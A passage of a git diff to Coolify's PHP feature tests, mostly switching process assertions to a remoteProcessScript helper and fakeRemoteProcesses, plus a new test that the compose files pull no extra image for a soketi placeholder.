a/tests/Feature/Proxy/ProxyLogrotateSidecarCleanupTest.php +++ b/tests/Feature/Proxy/ProxyLogrotateSidecarCleanupTest.php @@ -45,7 +45,7 @@ function logrotateCleanupScriptLines(): array { $lines = []; Process::assertRan(function ($process) use (&$lines) { - array_push($lines, ...explode("\n", $process->command)); + array_push($lines, ...explode("\n", remoteProcessScript($process))); return true; }); diff --git a/tests/Feature/Proxy/ProxyPortVariablesTest.php b/tests/Feature/Proxy/ProxyPortVariablesTest.php index b76c423be2..233beb0fa0 100644 --- a/tests/Feature/Proxy/ProxyPortVariablesTest.php +++ b/tests/Feature/Proxy/ProxyPortVariablesTest.php @@ -71,7 +71,7 @@ it('starts a proxy whose ports use variables', function (string $port) { StartProxy::run($this->server, async: false, force: true); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker compose -f /data/coolify/proxy/docker-compose.yml up -d --wait --remove-orphans')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker compose -f /data/coolify/proxy/docker-compose.yml up -d --wait --remove-orphans')); })->with('proxy port variables'); it('restarts a proxy whose ports use variables', function (string $port) { @@ -92,8 +92,8 @@ it('asks to start a stopped proxy whose ports use variables and checks only conc expect(CheckProxy::run($this->server))->toBeTrue(); - Process::assertRan(fn ($process) => str_contains($process->command, "sport = ':8081'")); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'sport = ') && str_contains($process->command, '${')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "sport = ':8081'")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'sport = ') && str_contains(remoteProcessScript($process), '${')); }); it('asks to start a stopped proxy whose ports all use variables without defaults', function () { @@ -102,7 +102,7 @@ it('asks to start a stopped proxy whose ports all use variables without defaults expect(CheckProxy::run($this->server))->toBeTrue(); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'sport = ')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'sport = ')); }); it('does not ask to start a stopped proxy without published ports', function () { @@ -119,7 +119,7 @@ it('saves and starts a proxy whose ports key is empty', function () { StartProxy::run($this->server->fresh(), async: false, force: true); expect($this->server->fresh()->proxy->last_saved_proxy_configuration)->toBe($configuration); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker compose -f /data/coolify/proxy/docker-compose.yml up -d --wait --remove-orphans')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker compose -f /data/coolify/proxy/docker-compose.yml up -d --wait --remove-orphans')); }); it('configures traffic analytics for a proxy whose ports use variables', function () { diff --git a/tests/Feature/Proxy/TraefikCertificateResolverTest.php b/tests/Feature/Proxy/TraefikCertificateResolverTest.php index 9b698f4d78..51bbe605ca 100644 --- a/tests/Feature/Proxy/TraefikCertificateResolverTest.php +++ b/tests/Feature/Proxy/TraefikCertificateResolverTest.php @@ -88,7 +88,7 @@ test('coolify dashboard routes follow the server certificate resolver', function $command = ''; Process::assertRan(function ($process) use (&$command) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return str_contains($command, 'coolify.yaml'); }); @@ -112,7 +112,7 @@ test('the catch-all router follows the server certificate resolver', function (? $command = ''; Process::assertRan(function ($process) use (&$command) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return str_contains($command, 'default_redirect_503.yaml') && str_contains($command, 'base64 -d'); }); diff --git a/tests/Feature/RemoteProcessRedactionTest.php b/tests/Feature/RemoteProcessRedactionTest.php index 525dda6614..c3f30e848a 100644 --- a/tests/Feature/RemoteProcessRedactionTest.php +++ b/tests/Feature/RemoteProcessRedactionTest.php @@ -141,7 +141,7 @@ it('redacts a database start secret that is split across output chunks', functio $activity = remote_process(['echo ok'], $this->server); // The process fake ends every output chunk with a newline, so the chunks are sent by hand. $invoked = Mockery::mock(InvokedProcess::class); - Process::shouldReceive('timeout->idleTimeout->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked) { + Process::shouldReceive('timeout->idleTimeout->input->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked) { $invoked->shouldReceive('wait')->andReturnUsing(function () use ($output) { foreach (['value is split-sec', "ret-value\nnext ", 'line split-secret-value'] as $chunk) { $output('out', $chunk); @@ -169,7 +169,7 @@ function runRemoteProcessWithChunks(Activity $activity, array $chunks, ?Throwabl // The process fake ends every output chunk with a newline, so the chunks are sent by hand. $invoked = Mockery::mock(InvokedProcess::class); $invoked->shouldReceive('id')->andReturn(123); - Process::shouldReceive('timeout->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked, $chunks, $failure) { + Process::shouldReceive('timeout->input->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked, $chunks, $failure) { $invoked->shouldReceive('wait')->andReturnUsing(function () use ($output, $chunks, $failure) { foreach ($chunks as [$type, $chunk]) { $output($type, $chunk); diff --git a/tests/Feature/ReverbAndTerminalPackagingTest.php b/tests/Feature/ReverbAndTerminalPackagingTest.php index 440e069875..df1932ad49 100644 --- a/tests/Feature/ReverbAndTerminalPackagingTest.php +++ b/tests/Feature/ReverbAndTerminalPackagingTest.php @@ -122,11 +122,13 @@ it('runs Reverb and terminal websocket services inside the Coolify containers', it('removes the dedicated realtime service from bundled compose files', function (string $composeFile, bool $hasRuntimeEnvironment) { $composeContents = file_get_contents(base_path($composeFile)); - $soketi = Yaml::parse($composeContents)['services']['soketi'] ?? null; + $services = Yaml::parse($composeContents)['services']; + $soketi = $services['soketi'] ?? null; // Production keeps "coolify-realtime" only as a network alias of the coolify container, and "soketi" - // only as a placeholder with no replicas for old overrides in docker-compose.custom.yml. - expect($soketi === null || $soketi === ['image' => 'busybox:1.37', 'deploy' => ['replicas' => 0]])->toBeTrue(); + // only as a placeholder with no replicas for old overrides in docker-compose.custom.yml. The placeholder + // uses the coolify image, so install and upgrade do not pull an extra image. + expect($soketi === null || $soketi === ['image' => $services['coolify']['image'], 'deploy' => ['replicas' => 0]])->toBeTrue(); expect($composeContents) ->not->toContain('container_name: coolify-realtime') ->not->toContain('coolify-realtime:') @@ -336,3 +338,30 @@ it('accepts a soketi override from 4.3.23 in docker-compose.custom.yml with zero 'production compose, full service' => ['docker-compose.prod.yml', "services:\n soketi:\n image: quay.io/soketi/soketi:1.6-16-alpine\n container_name: coolify-realtime\n ports:\n - '6001:6001'\n"], 'nightly production compose, partial override' => ['other/nightly/docker-compose.prod.yml', "services:\n soketi:\n environment:\n SOKETI_DEBUG: 'true'\n"], ]); + +it('does not pull an extra image for the soketi placeholder', function (string $composeFile) { + if (! (new ExecutableFinder)->find('docker')) { + $this->markTestSkipped('Docker is not installed.'); + } + + $directory = sys_get_temp_dir().'/coolify-compose-images-'.Str::random(8); + mkdir($directory); + copy(base_path('docker-compose.yml'), "{$directory}/docker-compose.yml"); + copy(base_path($composeFile), "{$directory}/docker-compose.prod.yml"); + + try { + // upgrade.sh pulls every image that "config --images" lists and stops when a pull fails. + $result = Process::path($directory) + ->env(['REGISTRY_URL' => 'registry.example.com', 'LATEST_IMAGE' => '4.5.1']) + ->run('docker compose -f docker-compose.yml -f docker-compose.prod.yml config --no-env-resolution --images'); + } finally { + File::deleteDirectory($directory); + } + + expect($result->successful())->toBeTrue($result->errorOutput()) + ->and(collect(explode("\n", trim($result->output())))->unique()->sort()->values()->all()) + ->toBe(['postgres:15-alpine', 'redis:7-alpine', 'registry.example.com/coollabsio/coolify:4.5.1']); +})->with([ + 'production compose' => ['docker-compose.prod.yml'], + 'nightly production compose' => ['other/nightly/docker-compose.prod.yml'], +]); diff --git a/tests/Feature/RollingUpdateProxyDrainTest.php b/tests/Feature/RollingUpdateProxyDrainTest.php index 2c95ddf943..4ad85d0d63 100644 --- a/tests/Feature/RollingUpdateProxyDrainTest.php +++ b/tests/Feature/RollingUpdateProxyDrainTest.php @@ -65,7 +65,7 @@ function createApplicationForRollingUpdateDrainTest(string $proxyType = 'TRAEFIK function runRollingUpdateDrainStep(Application $application, bool $newVersionIsHealthy, ?array $oldProxyLabels = ['traefik.enable' => 'true'], array $newProxyLabels = ['traefik.enable' => 'true']): array { Process::fake(function ($process) use ($application, $oldProxyLabels, $newProxyLabels) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'docker inspect')) { return Process::result(output: json_encode(['coolify.name' => 'new', ...$newProxyLabels])."\n".json_encode(['coolify.name' => 'old', ...$oldProxyLabels])); } diff --git a/tests/Feature/SafeDeploymentLogTest.php b/tests/Feature/SafeDeploymentLogTest.php index 1d4f5dcc69..289760fd6b 100644 --- a/tests/Feature/SafeDeploymentLogTest.php +++ b/tests/Feature/SafeDeploymentLogTest.php @@ -391,14 +391,14 @@ function makeRestLogRedactionEndpoint(string $resource, string $envSecret): arra Process::fake(function ($process) use ($containerName, $envSecret) { return match (true) { - str_contains($process->command, 'docker ps') => Process::result(output: json_encode([ + str_contains(remoteProcessScript($process), 'docker ps') => Process::result(output: json_encode([ 'ID' => 'abc123', 'Names' => $containerName, 'Labels' => "coolify.name={$containerName}", 'State' => 'running', ])), - str_contains($process->command, 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), - str_contains($process->command, 'docker logs') => Process::result(output: "booted with {$envSecret}\npassword=coolify-canary-pattern-secret"), + str_contains(remoteProcessScript($process), 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), + str_contains(remoteProcessScript($process), 'docker logs') => Process::result(output: "booted with {$envSecret}\npassword=coolify-canary-pattern-secret"), default => Process::result(output: ''), }; }); diff --git a/tests/Feature/ScheduledJobManagerDispatchTest.php b/tests/Feature/ScheduledJobManagerDispatchTest.php index b02e1bb0a2..cc648b3216 100644 --- a/tests/Feature/ScheduledJobManagerDispatchTest.php +++ b/tests/Feature/ScheduledJobManagerDispatchTest.php @@ -1102,11 +1102,11 @@ it('fails only its own execution and notifies the team when the worker timeout s $commands = collect(); $atTimeout = null; Process::fake(function ($process) use ($application, $task, $queuedCopy, $team, $commands, &$atTimeout) { - $commands->push($process->command); - if (str_contains($process->command, 'docker ps')) { + $commands->push(remoteProcessScript($process)); + if (str_contains(remoteProcessScript($process), 'docker ps')) { return Process::result(output: json_encode(['Names' => 'app-'.$application->uuid, 'Labels' => "coolify.applicationUuid={$application->uuid}", 'State' => 'running'])); } - if (str_contains($process->command, 'docker exec')) { + if (str_contains(remoteProcessScript($process), 'docker exec')) { Carbon::setTestNow(now()->addMinute()); $newerRun = ScheduledTaskExecution::create(['scheduled_task_id' => $task->id, 'status' => 'running', 'started_at' => now()]); $ownRun = ScheduledTaskExecution::query()->whereKeyNot([$newerRun->id])->where('status', 'running')->sole(); diff --git a/tests/Feature/ScheduledTaskApplicationContainerTest.php b/tests/Feature/ScheduledTaskApplicationContainerTest.php index fd1162f644..c5d4226f28 100644 --- a/tests/Feature/ScheduledTaskApplicationContainerTest.php +++ b/tests/Feature/ScheduledTaskApplicationContainerTest.php @@ -56,7 +56,7 @@ function fakeApplicationContainers(array $containers): void ->map(fn (string $state, string $name) => json_encode(['ID' => $name, 'Names' => $name, 'Labels' => 'coolify.applicationId=1', 'State' => $state])) ->implode("\n"); - Process::fake(fn ($process) => str_contains($process->command, 'docker ps -a --filter') + Process::fake(fn ($process) => str_contains(remoteProcessScript($process), 'docker ps -a --filter') ? Process::result(output: $output) : Process::result(output: 'done')); } @@ -67,8 +67,8 @@ test('a scheduled task ignores stopped application containers', function () { (new ScheduledTaskJob($this->task))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, "docker exec '{$uuid}-222222222222' sh -c")); - Process::assertDidntRun(fn ($process) => str_contains($process->command, "docker exec '{$uuid}-111111111111'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec '{$uuid}-222222222222' sh -c")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), "docker exec '{$uuid}-111111111111'")); expect($this->task->executions()->sole()->status)->toBe('success'); }); @@ -79,6 +79,6 @@ test('a scheduled task runs in the application container with the exact name', f (new ScheduledTaskJob($this->task->refresh()))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, "docker exec '{$uuid}-222222222222' sh -c")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker exec '{$uuid}-222222222222' sh -c")); expect($this->task->executions()->sole()->status)->toBe('success'); }); diff --git a/tests/Feature/Server/CheckAndStartSentinelJobTest.php b/tests/Feature/Server/CheckAndStartSentinelJobTest.php index ac2213e736..e79fe1981c 100644 --- a/tests/Feature/Server/CheckAndStartSentinelJobTest.php +++ b/tests/Feature/Server/CheckAndStartSentinelJobTest.php @@ -49,14 +49,14 @@ it('does not connect to an unreachable or unusable server', function (string $fl })->with(['is_reachable', 'is_usable']); it('starts Sentinel when the container is missing', function () { - Process::fake(['*' => Process::result(output: '')]); + fakeRemoteProcesses(['*' => Process::result(output: '')]); StartSentinel::shouldRun()->once(); (new CheckAndStartSentinelJob($this->server))->handle(); }); it('does not treat an SSH failure as a missing container', function () { - Process::fake(['*' => Process::result(errorOutput: 'ssh: connect to host 1.2.3.4 port 22: Connection timed out', exitCode: 255)]); + fakeRemoteProcesses(['*' => Process::result(errorOutput: 'ssh: connect to host 1.2.3.4 port 22: Connection timed out', exitCode: 255)]); StartSentinel::shouldNotRun(); expect(fn () => (new CheckAndStartSentinelJob($this->server))->handle()) @@ -65,7 +65,7 @@ it('does not treat an SSH failure as a missing container', function () { it('does not restart a running Sentinel that is up to date', function () { $this->server->forceFill(['sentinel_updated_at' => now()])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running'), '*api/version*' => Process::result(output: '1.0.0'), ]); @@ -76,7 +76,7 @@ it('does not restart a running Sentinel that is up to date', function () { it('uses sudo for the status check on a non-root server', function () { $this->server->forceFill(['user' => 'ubuntu', 'sentinel_updated_at' => now()])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running'), '*api/version*' => Process::result(output: '1.0.0'), ]); @@ -84,12 +84,12 @@ it('uses sudo for the status check on a non-root server', function () { (new CheckAndStartSentinelJob($this->server->refresh()))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, 'sudo docker ps -a')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'sudo docker ps -a')); }); it('restarts an unhealthy Sentinel and remembers why', function () { $this->server->forceFill(['sentinel_updated_at' => now()])->save(); - Process::fake(['*docker ps*' => Process::result(output: 'running Up 2 hours (unhealthy)')]); + fakeRemoteProcesses(['*docker ps*' => Process::result(output: 'running Up 2 hours (unhealthy)')]); StartSentinel::shouldRun()->once(); (new CheckAndStartSentinelJob($this->server))->handle(); @@ -99,7 +99,7 @@ it('restarts an unhealthy Sentinel and remembers why', function () { it('does not restart a Sentinel whose health check is still starting', function () { $this->server->forceFill(['sentinel_updated_at' => now()])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running Up 30 seconds (health: starting)'), '*api/version*' => Process::result(output: '1.0.0'), ]); @@ -112,7 +112,7 @@ it('restarts a running Sentinel that stopped pushing, at most once per hour', fu Cache::flush(); Cache::put('coolify:versions:all', ['coolify' => ['sentinel' => ['version' => '1.0.0']]], 3600); $this->server->forceFill(['sentinel_updated_at' => now()->subMinutes(15), 'sentinel_waiting_since' => null])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running Up 2 hours (healthy)'), '*api/version*' => Process::result(output: '1.0.0'), ]); @@ -126,7 +126,7 @@ it('does not restart a Sentinel that started recently and has not pushed yet', f Cache::flush(); Cache::put('coolify:versions:all', ['coolify' => ['sentinel' => ['version' => '1.0.0']]], 3600); $this->server->forceFill(['sentinel_updated_at' => now()->subDays(5), 'sentinel_waiting_since' => now()->subMinutes(3)])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running Up 3 minutes (healthy)'), '*api/version*' => Process::result(output: '1.0.0'), ]); @@ -144,7 +144,7 @@ it('remembers the push error that Sentinel reports', function () { 'last_status' => null, 'consecutive_failures' => 4, ]); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running Up 2 hours (healthy)'), '*api/version*' => Process::result(output: "1.0.0\n{$pushStatus}"), ]); @@ -157,20 +157,20 @@ it('remembers the push error that Sentinel reports', function () { it('reads the push status with the token from inside the Sentinel container on a non-root server', function () { $this->server->forceFill(['user' => 'ubuntu', 'sentinel_updated_at' => now()])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running Up 2 hours (healthy)'), '*api/version*' => Process::result(output: '1.0.0'), ]); (new CheckAndStartSentinelJob($this->server->refresh()))->handle(); - Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec coolify-sentinel sh -c '\\''curl") - && str_contains($process->command, 'Bearer $TOKEN')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "sudo bash -c 'docker exec coolify-sentinel sh -c '\\''curl") + && str_contains(remoteProcessScript($process), 'Bearer $TOKEN')); }); it('does not restart a starting Sentinel whose API does not answer yet', function () { $this->server->forceFill(['sentinel_updated_at' => now()->subDays(5), 'sentinel_waiting_since' => now()])->save(); - Process::fake([ + fakeRemoteProcesses([ '*docker ps*' => Process::result(output: 'running Up 3 seconds (health: starting)'), '*api/version*' => Process::result(output: ''), ]); diff --git a/tests/Feature/Server/CloudflareTunnelChangedNotificationTest.php b/tests/Feature/Server/CloudflareTunnelChangedNotificationTest.php index d57f68a4b5..a6481e4489 100644 --- a/tests/Feature/Server/CloudflareTunnelChangedNotificationTest.php +++ b/tests/Feature/Server/CloudflareTunnelChangedNotificationTest.php @@ -34,7 +34,7 @@ beforeEach(function () { it('uses sudo for the health check on a non-root server', function () { Event::fake(); Sleep::fake(); - Process::fake([ + fakeRemoteProcesses([ '*sudo docker inspect coolify-cloudflared*' => Process::result(output: 'true'), '*' => Process::result(errorOutput: 'permission denied while trying to connect to the Docker API', exitCode: 1), ]); diff --git a/tests/Feature/Server/ServerMetricsSettingsTest.php b/tests/Feature/Server/ServerMetricsSettingsTest.php index 6d4a069702..86022a44e8 100644 --- a/tests/Feature/Server/ServerMetricsSettingsTest.php +++ b/tests/Feature/Server/ServerMetricsSettingsTest.php @@ -53,19 +53,19 @@ it('validates metrics collection settings on the server metrics page', function ]); }); -it('refreshes server metrics live for every time range until paused', function () { +it('refreshes short server metric ranges live and starts long ranges paused', function () { $server = Server::factory()->create(['team_id' => $this->team->id]); $server->settings->is_sentinel_enabled = true; $server->settings->is_metrics_enabled = true; $server->settings->saveQuietly(); - Livewire::test(Charts::class, ['server_uuid' => $server->uuid]) - ->assertSet('live', true) - ->assertSeeHtml('wire:poll.5s="loadData"') - ->set('interval', 43200) - ->assertSet('live', true) - ->assertSeeHtml('wire:poll.60s="loadData"') - ->set('live', false) - ->assertDontSeeHtml('wire:poll') - ->assertSee('Paused'); + $component = Livewire::test(Charts::class, ['server_uuid' => $server->uuid]) + ->assertSet('live', true); + expect($component->instance()->pollSeconds())->toBe(5); + + $component->set('interval', 43200)->assertSet('live', false); + expect($component->instance()->pollSeconds())->toBeNull(); + + $component->set('live', true); + expect($component->instance()->pollSeconds())->toBe(60); }); diff --git a/tests/Feature/Server/StartSentinelLockTest.php b/tests/Feature/Server/StartSentinelLockTest.php index cec5438a45..310d89da3f 100644 --- a/tests/Feature/Server/StartSentinelLockTest.php +++ b/tests/Feature/Server/StartSentinelLockTest.php @@ -48,7 +48,7 @@ function queuedSentinelStarts(): int it('holds the per-server lock while it replaces the Sentinel container', function () { $lockHeldDuringDockerRun = null; Process::fake(function ($process) use (&$lockHeldDuringDockerRun) { - $script = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $script = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($script, 'docker run -d')) { $lockHeldDuringDockerRun = ! Cache::lock(StartSentinel::lockKey($this->server), 1)->get(); } @@ -69,7 +69,7 @@ it('starts Sentinel with the settings saved after the server was loaded', functi $scripts = []; Process::fake(function ($process) use (&$scripts) { - $scripts[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $scripts[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/ServerConnectionCheckIsolationTest.php b/tests/Feature/ServerConnectionCheckIsolationTest.php index ee308cb52f..506b80937f 100644 --- a/tests/Feature/ServerConnectionCheckIsolationTest.php +++ b/tests/Feature/ServerConnectionCheckIsolationTest.php @@ -71,7 +71,7 @@ it('does not call cloud provider APIs during an SSH connection check', function 'instance' => ['id' => 'instance-1', 'status' => 'active'], ]), ]); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result( output: '{"Server":{"Version":"27.0.0"}}', exitCode: 0, @@ -89,7 +89,7 @@ it('resets unreachable_count after a successful connection check', function () { $server->unreachable_count = 5; $server->save(); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result( output: '{"Server":{"Version":"27.0.0"}}', exitCode: 0, @@ -107,7 +107,7 @@ it('logs the checking node and ssh error only when the connection state changes' $logPath = tempnam(sys_get_temp_dir(), 'coolify-scheduled-log-'); config(['logging.channels.scheduled' => ['driver' => 'single', 'path' => $logPath, 'level' => 'debug']]); Log::forgetChannel('scheduled'); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result(errorOutput: 'ssh: connect to host 203.0.113.10 port 22: Connection refused', exitCode: 255), ]); @@ -127,7 +127,7 @@ it('logs the checking node and ssh error only when the connection state changes' it('keeps the server online after one failed SSH check', function () { $server = createServerForConnectionIsolationTest(['ip' => '203.0.113.10']); $server->settings->update(['is_reachable' => true, 'is_usable' => true]); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result(errorOutput: 'Connection timed out', exitCode: 255), ]); @@ -141,7 +141,7 @@ it('keeps the server online after one failed SSH check', function () { it('marks the server offline after consecutive failed SSH checks', function () { $server = createServerForConnectionIsolationTest(['ip' => '203.0.113.10']); $server->settings->update(['is_reachable' => true, 'is_usable' => true]); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result(errorOutput: 'Connection timed out', exitCode: 255), ]); @@ -159,7 +159,7 @@ it('does not mark the server offline when the check fails for a reason other tha $server->settings->update(['is_reachable' => true, 'is_usable' => true]); $server->unreachable_count = 1; $server->save(); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result(output: '{"Server":{"Version":"27.0.0"}}', exitCode: 0), ]); // Fails the unreachable_count reset, after SSH and Docker checks passed. @@ -178,7 +178,7 @@ it('retries a failed SSH attempt once within the same check', function () { $server->settings->update(['is_reachable' => false, 'is_usable' => false]); $server->unreachable_count = 3; $server->save(); - Process::fake([ + fakeRemoteProcesses([ '*ls -la /*' => Process::sequence() ->push(Process::result(errorOutput: 'Connection timed out', exitCode: 255)) ->push(Process::result(exitCode: 0)), @@ -189,7 +189,7 @@ it('retries a failed SSH attempt once within the same check', function () { (new ServerConnectionCheckJob($server->fresh(), disableMux: false))->handle(); Sleep::assertSleptTimes(1); - Process::assertRanTimes(fn ($process) => str_contains($process->command, 'ls -la /'), 2); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), 'ls -la /'), 2); expect($server->fresh()->unreachable_count)->toBe(0) ->and((bool) $server->settings->fresh()->is_reachable)->toBeTrue() ->and((bool) $server->settings->fresh()->is_usable)->toBeTrue(); @@ -198,14 +198,14 @@ it('retries a failed SSH attempt once within the same check', function () { it('counts one failed check when both SSH attempts fail', function () { $server = createServerForConnectionIsolationTest(['ip' => '203.0.113.10']); $server->settings->update(['is_reachable' => true, 'is_usable' => true]); - Process::fake([ + fakeRemoteProcesses([ '*' => Process::result(errorOutput: 'Connection timed out', exitCode: 255), ]); (new ServerConnectionCheckJob($server->fresh(), disableMux: false))->handle(); Sleep::assertSleptTimes(1); - Process::assertRanTimes(fn ($process) => str_contains($process->command, 'ls -la /'), 2); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), 'ls -la /'), 2); expect($server->fresh()->unreachable_count)->toBe(1) ->and((bool) $server->settings->fresh()->is_reachable)->toBeTrue(); }); @@ -213,21 +213,21 @@ it('counts one failed check when both SSH attempts fail', function () { it('does not retry the Docker check within the same check', function () { $server = createServerForConnectionIsolationTest(['ip' => '203.0.113.10']); $server->settings->update(['is_reachable' => true, 'is_usable' => true]); - Process::fake([ + fakeRemoteProcesses([ '*docker version*' => Process::result(errorOutput: 'Cannot connect to the Docker daemon', exitCode: 1), '*' => Process::result(exitCode: 0), ]); (new ServerConnectionCheckJob($server->fresh(), disableMux: false))->handle(); - Process::assertRanTimes(fn ($process) => str_contains($process->command, 'docker version'), 1); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), 'docker version'), 1); expect((bool) $server->settings->fresh()->is_reachable)->toBeTrue() ->and((bool) $server->settings->fresh()->is_usable)->toBeFalse(); }); it('keeps the server usable when only the compose version check fails', function () { $server = createServerForConnectionIsolationTest(['ip' => '203.0.113.10']); - Process::fake([ + fakeRemoteProcesses([ '*compose*' => Process::result(errorOutput: 'docker: compose is not a docker command', exitCode: 1), '*' => Process::result(output: '{"Server":{"Version":"29.4.3"}}', exitCode: 0), ]); @@ -251,7 +251,7 @@ it('stops managing a server when its owner marker names a newer claim of another 'server_metadata' => ['transfer' => ['status' => 'claimed', 'claim' => ['claim_id' => 'claim-of-this-instance', 'claimed_at' => '2026-01-01T00:00:00+00:00']]], ]); $server->settings->update(['is_reachable' => true, 'is_usable' => true]); - Process::fake([ + fakeRemoteProcesses([ '*ls -la /*' => Process::result(output: '{"claim_id":"claim-of-instance-b","instance_url":"https://8.8.8.8","claimed_at":"2026-02-01T00:00:00+00:00"}', exitCode: 0), '*' => Process::result(output: '{"Server":{"Version":"29.4.3"}}', exitCode: 0), ]); @@ -262,7 +262,7 @@ it('stops managing a server when its owner marker names a newer claim of another expect($server->isTransferredAway())->toBeTrue() ->and(data_get($server->server_metadata, 'transfer.target_instance_url'))->toBe('https://8.8.8.8') ->and((bool) $server->settings->force_disabled)->toBeTrue(); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'docker version')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'docker version')); }); it('keeps managing a server when its owner marker is its own claim', function () { @@ -270,7 +270,7 @@ it('keeps managing a server when its owner marker is its own claim', function () 'ip' => '203.0.113.10', 'server_metadata' => ['transfer' => ['status' => 'claimed', 'claim' => ['claim_id' => 'claim-of-this-instance']]], ]); - Process::fake([ + fakeRemoteProcesses([ '*ls -la /*' => Process::result(output: '{"claim_id":"claim-of-this-instance"}', exitCode: 0), '*compose*' => Process::result(output: 'v2.32.4', exitCode: 0), '*' => Process::result(output: '{"Server":{"Version":"29.4.3"}}', exitCode: 0), diff --git a/tests/Feature/ServerDockerImagesAuthorizationTest.php b/tests/Feature/ServerDockerImagesAuthorizationTest.php index 8d50c24b8e..71836c7255 100644 --- a/tests/Feature/ServerDockerImagesAuthorizationTest.php +++ b/tests/Feature/ServerDockerImagesAuthorizationTest.php @@ -23,7 +23,7 @@ beforeEach(function () { $this->server->settings->update(['is_reachable' => true, 'is_usable' => true]); $this->actingAs($this->user); session(['currentTeam' => $this->team]); - Process::fake([ + fakeRemoteProcesses([ '*docker image ls*' => Process::result(output: json_encode(['Repository' => 'nginx', 'Tag' => '1.27', 'ID' => 'sha256:'.str_repeat('a', 64), 'Size' => '1MB', 'CreatedSince' => 'now'])), '*' => Process::result(output: ''), ]); diff --git a/tests/Feature/ServerDockerImagesTest.php b/tests/Feature/ServerDockerImagesTest.php index d056d8c9e4..da36681d1a 100644 --- a/tests/Feature/ServerDockerImagesTest.php +++ b/tests/Feature/ServerDockerImagesTest.php @@ -29,7 +29,7 @@ $nginxId = 'sha256:'.str_repeat('a', 64); $danglingId = 'sha256:'.str_repeat('b', 64); $fakeDocker = function (string $nginxId, string $danglingId) { - Process::fake([ + fakeRemoteProcesses([ '*docker image ls*' => Process::result(output: implode("\n", [ json_encode(['Repository' => 'nginx', 'Tag' => '1.27', 'ID' => $nginxId, 'Size' => '52.5MB', 'CreatedSince' => '3 weeks ago']), json_encode(['Repository' => '', 'Tag' => '', 'ID' => $danglingId, 'Size' => '11MB', 'CreatedSince' => '2 days ago']), @@ -78,7 +78,7 @@ it('deletes an unused image', function () use ($fakeDocker, $nginxId, $danglingI ->call('delete', $danglingId) ->assertDispatched('success'); - Process::assertRan(fn ($process) => str_contains($process->command, "docker image rm '{$danglingId}'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker image rm '{$danglingId}'")); }); it('refuses to delete an image that a container is using', function () use ($fakeDocker, $nginxId, $danglingId) { @@ -89,7 +89,7 @@ it('refuses to delete an image that a container is using', function () use ($fak ->call('delete', 'nginx:1.27') ->assertDispatched('error'); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'docker image rm')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker image rm')); }); it('filters images by the search term', function () use ($fakeDocker, $nginxId, $danglingId) { @@ -103,7 +103,7 @@ it('filters images by the search term', function () use ($fakeDocker, $nginxId, }); it('paginates images and returns to the first page when the search changes', function () { - Process::fake([ + fakeRemoteProcesses([ '*docker image ls*' => Process::result(output: collect(range(1, 12)) ->map(fn (int $i) => json_encode([ 'Repository' => sprintf('app-%02d', $i), 'Tag' => 'latest', 'ID' => 